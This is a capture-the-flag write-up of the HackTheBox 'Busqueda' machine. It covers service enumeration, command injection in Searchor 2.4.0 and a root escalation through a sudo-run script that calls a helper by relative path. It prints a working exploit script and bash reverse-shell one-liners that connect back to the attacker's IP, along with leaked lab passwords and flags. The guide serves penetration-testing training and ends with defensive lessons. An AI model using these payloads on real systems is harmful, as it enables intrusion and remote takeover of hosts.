Skip to content

Busqueda

HackTheBox Linux Standalone
Easy Difficulty 1 of 4

Python command injection in Searchor 2.4.0, escalating to root via a relative-path hijack in a sudo-run script.

Every box opens with the same two questions: what is listening, and what is it running?

First, confirm the host is actually up.

Host reachability ping
Bash
┌──(Idan@Kali)-[~/Busqueda]
└─> ping 10.129.228.217
PING 10.129.228.217 (10.129.228.217) 56(84) bytes of data.
64 bytes from 10.129.228.217: icmp_seq=1 ttl=63 time=81.8 ms
64 bytes from 10.129.228.217: icmp_seq=2 ttl=63 time=81.6 ms
64 bytes from 10.129.228.217: icmp_seq=3 ttl=63 time=79.6 ms
64 bytes from 10.129.228.217: icmp_seq=4 ttl=63 time=80.8 ms
--- 10.129.228.217 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3010ms
rtt min/avg/max/mdev = 79.593/80.953/81.800/0.866 ms

The ttl=63 is a small tell (a Linux default of 64, minus one hop). The scan settles it.

Service & version enumeration nmap
Bash
┌──(Idan@Kali)-[~/Busqueda]
└─> nmap -sC -sV 10.129.228.217
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-12 20:37 -0400
Nmap scan report for 10.129.228.217
Host is up (0.087s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS fingerprinting and extended service enumeration confirmed Linux 5.x, but revealed nothing actionable.

Aggressive scan, OS detection & extended service enumeration nmap
Bash
┌──(Idan@Kali)-[~/Busqueda]
└─> nmap -A 10.129.228.217
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-12 20:39 -0400
Nmap scan report for 10.129.228.217
Host is up (0.097s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Apache is redirecting me to a name it never introduced. Time to make searcher.htb answer, then find out what is really running behind it.

First, map the hostname in /etc/hosts:

Bash
┌──(Idan@Kali)-[~/Busqueda]
└─> sudo nano /etc/hosts
# Add the following line
10.129.228.217 searcher.htb

With the name resolving, searcher.htb loads: a clean search front end that proxies queries to other engines.

Searcher web application: a single search field above a row of engine buttons The application: a search box that forwards your query to a chosen engine. Worth asking how it builds that redirect.

I fingerprinted the stack three ways: feroxbuster for hidden routes, nikto for misconfigurations, and whatweb for the technology behind the polish.

Directory and route discovery feroxbuster
Bash
┌──(Idan@Kali)-[~/Busqueda]
└─> feroxbuster --url http://searcher.htb/ -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --insecure -C 404 -o feroxscan
405 GET 5l 20w 153c http://searcher.htb/search
200 GET 430l 751w 13519c http://searcher.htb/
403 GET 9l 28w 277c http://searcher.htb/server-status

The attack surface is surprisingly small. The only route worth a closer look is /search.

Header and version sweep nikto
Bash
┌──(Idan@Kali)-[~/Busqueda]
└─> nikto -h http://searcher.htb -Tuning 2 -maxtime 300
- Nikto v2.6.0
+ Target IP: 10.129.228.217
+ Target Hostname: searcher.htb
+ Target Port: 80
+ Server: Werkzeug/2.1.2 Python/3.10.6
+ /: Server banner changed from 'Werkzeug/2.1.2 Python/3.10.6' to 'Apache/2.4.52 (Ubuntu)'.
+ Python/3.10.6 appears to be outdated (current is at least 3.13.1).
+ Several suggested security headers missing (referrer-policy, x-content-type-options, CSP, etc.)
+ 1333 requests: 0 errors and 10 items reported on the remote host

Missing headers are just background noise. The real story is the shifting server banner, hinting at something hiding behind Apache.

Technology fingerprint whatweb
Bash
┌──(Idan@Kali)-[~/Busqueda]
└─> whatweb -a 3 http://searcher.htb
http://searcher.htb [200 OK] Bootstrap[4.1.3], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.10.6], JQuery[3.2.1], Python[3.10.6], Title[Searcher], Werkzeug[2.1.2]

And there it is: the facade drops, confirming a custom Python backend is handling the requests.


Searchor 2.4.0 builds its redirect from whatever I type. If it evaluates that string, the search box is a shell.

A 405 Method Not Allowed is a hint, not a wall: the route exists, it just expects a different HTTP method. So I sent /search a POST through Burp Suite to see how it handles input.

Burp Suite showing a POST to /search with engine and query fields in the request body This confirms the application is directly processing user-controlled input before performing the search logic.

Application footer text reading Searchor 2.4.0 The footer then confirms the backend engine as Searchor 2.4.0.

That version number is the lead. Searchor 2.4.0 has a well-documented arbitrary command injection.

The public script automates the payload chain: a bash reverse shell is base64-encoded, wrapped inside the os.system break-out, then URL-encoded (notably the + characters) to survive transit, before being posted to /search.

Reproducing the attack exploit.sh
Bash
### Exploit Code (exploit.sh):
#!/bin/bash -
default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"
if [ -z "${evil_cmd##*$plus*}" ]; then
evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi
curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
# Terminal 1: start the listener
┌──(Idan@Kali)-[~/Busqueda]
└─> nc -lvnp 9001
# Terminal 2: fire the exploit
┌──(Idan@Kali)-[~/Busqueda]
└─> ./exploit.sh http://searcher.htb 10.10.14.87
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is http://searcher.htb
[*] Input attacker is 10.10.14.87:9001
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
# Back in terminal 1:
connect to [10.10.14.87] from (UNKNOWN) [10.129.228.217] 57982
bash: cannot set terminal process group (1561): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
svc

The script closes Searchor’s eval() expression, runs a base64 reverse shell, and the listener catches svc.

Terminal listener showing an interactive shell prompt as user svc on busqueda The listener catches the shell: I am svc, standing inside the application’s own directory.

I land as svc in /var/www/app, the application’s own directory. That is the foothold, and the user flag is one cat away.

Reading the user flag cat
Bash
svc@busqueda:/var/www/app$ cat user.txt
<user flag>
2d742121744d37137177a940d19195e3

svc got me through the door. Something here is trusted more than it should be, and I need to find it, starting with whatever the web root left behind.

The reflex is sudo -l, but it wants svc’s password and I do not have one yet. So the order inverts: before I can ask what svc may run as root, I need a credential, and a web app’s own directory is the first place to dig.

A .git folder inside the web root is a gift: its config may hold the remote’s credentials in plaintext.

Exposed .git/config and remote credentials
Bash
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main

The remote points at a new host gitea.searcher.htb, so I add it to /etc/hosts and browse to the Gitea instance with the credentials I just found.

Bash
# Append the Gitea vhost so it resolves
10.129.228.217 searcher.htb gitea.searcher.htb

Gitea login screen for gitea.searcher.htb The new virtual host resolves, and the Gitea instance loads.

Gitea repository page listing the Searcher_site project files Inside Gitea, I find the Searcher_site repository.

With the password in hand, sudo -l is the fast path.

Where can svc act as root? sudo
Bash
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *

So svc can run one specific script as root with any arguments (*). The source is root-only (-rwx--x--x), but I can still ask it what it does.

Enumerating system-checkup.py
Bash
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py --help
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inspect a certain docker container
full-checkup : Run a full system checkup
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 years ago Up 4 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 years ago Up 4 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db

docker-inspect takes a format string and a container name, letting me read a container’s full configuration, including environment variables. I pull Gitea’s config and pipe it through jq for readability.

Container environment docker-inspect gitea
Bash
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' gitea
# piped the JSON back on Kali through jq:
{
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
"Image": "gitea/gitea:latest",
"WorkingDir": "",
"Entrypoint": ["/usr/bin/entrypoint"]
}

Inspecting the Gitea container leaks its database password straight out of the environment variables.

Gitea dashboard signed in as the administrator account The database password doubles as the administrator’s: one reused secret opens the private scripts repository.

The administrator scripts repo in Gitea exposes the source of system-checkup.py. The full-checkup action is the weak point: it calls a helper script using a relative path.

Python
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)

That single ./ is the vulnerability: the script calls ./full-checkup.sh, which is resolved relative to the current working directory, and I control that directory when I invoke it. The sudoers secure_path only sanitizes PATH lookups, not relative paths used directly in the script.

So I drop a custom full-checkup.sh (a reverse shell) into a directory I control, then run the script from there. It executes it as root.

Exploiting the relative path ./full-checkup.sh
Bash
svc@busqueda:~$ echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.10.14.87/4444 0>&1' > full-checkup.sh; chmod +x full-checkup.sh
svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.87/4444 0>&1
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
#On Kali, Penelope catches the connection and upgrades the shell:
┌──(Idan@Kali)-[~/Busqueda]
└─> penelope -p 4444
[+] Listening for reverse shells on 0.0.0.0:4444
[+] Got reverse shell from busqueda~10.129.228.217-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
──────────────────────────────────────────────────────────────────────────────
root@busqueda:/home/svc#

The root-owned script runs full-checkup.sh from my working directory, handing back a root shell.

Confirming root whoami
Bash
root@busqueda:/home/svc# whoami
root
root@busqueda:/home/svc# cat /root/root.txt
<password>
3527d47d75482a5285afe6b132750aba

The whole path in one breath: Searchor 2.4.0 evaluates whatever I type into the search box, giving me a shell as svc. A .git directory left in the web root leaks a password, which unlocks a Gitea secret that the administrator account reuses. Finally, a root-owned checkup script that calls a helper via a relative path lets me swap in my own helper and become root.


Three lessons, one per stage of the chain:

  1. eval() on user input is the original sin. Searchor’s command injection existed because it evaluated a string built from the query. A blocklist would not have saved it, the fix is to never let untrusted text reach an evaluator.
  2. Credential reuse turns a single leak into a cascade. The password found in .git/config also worked for svc over SSH, and the Gitea database password also worked for administrator. A single secret that travels between accounts collapses every boundary it touches.
  3. A relative path under sudo is a straightforward privilege escalation. system-checkup.py called ./full-checkup.sh instead of an absolute path, and secure_path does not cover paths a script constructs for itself. Privileged programs should call helpers by absolute path and pin their working directory.